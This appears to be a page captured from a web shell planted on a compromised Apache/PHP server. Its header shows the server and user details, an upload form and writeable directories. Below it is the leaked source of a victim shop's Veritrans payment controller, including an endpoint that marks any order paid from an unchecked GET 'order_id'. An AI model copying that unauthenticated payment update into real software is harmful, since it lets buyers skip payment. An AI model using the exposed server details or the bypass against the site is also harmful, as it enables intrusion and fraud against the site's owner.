https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/controllers/Veritrans_notification.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Veritrans_notification extends Public_controller 
{
	function __construct() {
		
		parent::__construct();	

		$this->db->select('veritrans_server_key, veritrans_production_mode')->from('configuration')->where('id_configuration', 1);
		$veritrans = $this->db->get()->row();
		$production_mode = $veritrans->veritrans_production_mode;

		if ($production_mode == 'false') {
			$production_mode = FALSE;
		} else {
			$production_mode = TRUE; 
		}

		$params = array('server_key' => $veritrans->veritrans_server_key, 'production' => $production_mode);

		$this->load->library('veritrans');
		
		$this->veritrans->config($params);
		
	}
	
	
	public function receive_veritrans_notification() {
	
		$json_result = file_get_contents('php://input');
		
		$result = json_decode($json_result);

		if($result) {
		
			$notif = $this->veritrans->status($result->order_id);
		}

		error_log(print_r($result,TRUE));
		
		//notification handler 
		$transaction = $notif->transaction_status;
		$type = $notif->payment_type;
		$order_id = $notif->order_id;
		$fraud = $notif->fraud_status;

		if ($transaction == 'capture') {
		  // For credit card transaction, we need to check whether transaction is challenge by FDS or not
		  
		  if ($type == 'credit_card') {
		    
		    if($fraud == 'challenge') {
		      // TODO set payment status in merchant's database to 'Challenge by FDS'
		      // TODO merchant should decide whether this transaction is authorized or not in MAP
		      echo "Transaction order_id: " . $order_id ." is challenged by FDS";
		     }

		     else {
		     	// TODO set payment status in merchant's database to 'Success'

		     	$data = array(
					'payment_status' => 1,
					'payment_confirm' => 1,
					'payment_date' => $notif->transaction_time,	
				);
			
				$this->db->where('id_orders', (int) $order_id);
				$this->db->update('orders', $data);


		      	echo "Transaction order_id: " . $order_id ." successfully captured using " . $type;
		      }
		    }
		  }
		
		else if ($transaction == 'settlement') {
		  
		  // TODO set payment status in merchant's database to 'Settlement'
		  echo "Transaction order_id: " . $order_id ." successfully transfered using " . $type;
		  } 
		  
		  else if($transaction == 'pending') {
		  // TODO set payment status in merchant's database to 'Pending'
		  echo "Waiting customer to finish transaction order_id: " . $order_id . " using " . $type;
		  } 
		  
		  else if ($transaction == 'deny') {
		  // TODO set payment status in merchant's database to 'Denied'
		  echo "Payment using " . $type . " for transaction order_id: " . $order_id . " is denied.";
		} 

	}	


	public function veritrans_payment_success() {
	
			if(!$_GET) { show_404(); }
			
			$data = array(
					'payment_status' => 1,
					'payment_confirm' => 1,
					'payment_date' => date('Y-m-d H:i:s'),	
				);
			
				$this->db->where('id_orders', (int) $this->input->get('order_id'));
				$this->db->update('orders', $data);

			//get SEO
			$this->data_header['browser_title'] = 'Veritrans Payment Success'; 
			$this->data_header['meta_description'] = 'Veritrans Payment Success';
			$this->data_header['meta_keywords'] = 'Veritrans Payment Success';
			
			$this->load->view('template/header', $this->data_header);
			$this->load->view('veritrans_result/success');
			$this->load->view('template/footer', $this->data_footer);
	} 


	public function veritrans_payment_unfinish() {


			//get SEO
			$this->data_header['browser_title'] = 'Veritrans Payment Unfinish'; 
			$this->data_header['meta_description'] = 'Veritrans Payment Unfinish';
			$this->data_header['meta_keywords'] = 'Veritrans Payment Unfinish';
			
			$this->load->view('template/header', $this->data_header);
			$this->load->view('veritrans_result/unfinish');
			$this->load->view('template/footer', $this->data_footer);
	}


	public function veritrans_payment_error() {


			//get SEO
			$this->data_header['browser_title'] = 'Veritrans Payment Error'; 
			$this->data_header['meta_description'] = 'Veritrans Payment Error';
			$this->data_header['meta_keywords'] = 'Veritrans Payment Error';
			
			$this->load->view('template/header', $this->data_header);
			$this->load->view('veritrans_result/error');
			$this->load->view('template/footer', $this->data_footer);
	}  
	
}

https://t.me/RX1948 - 2025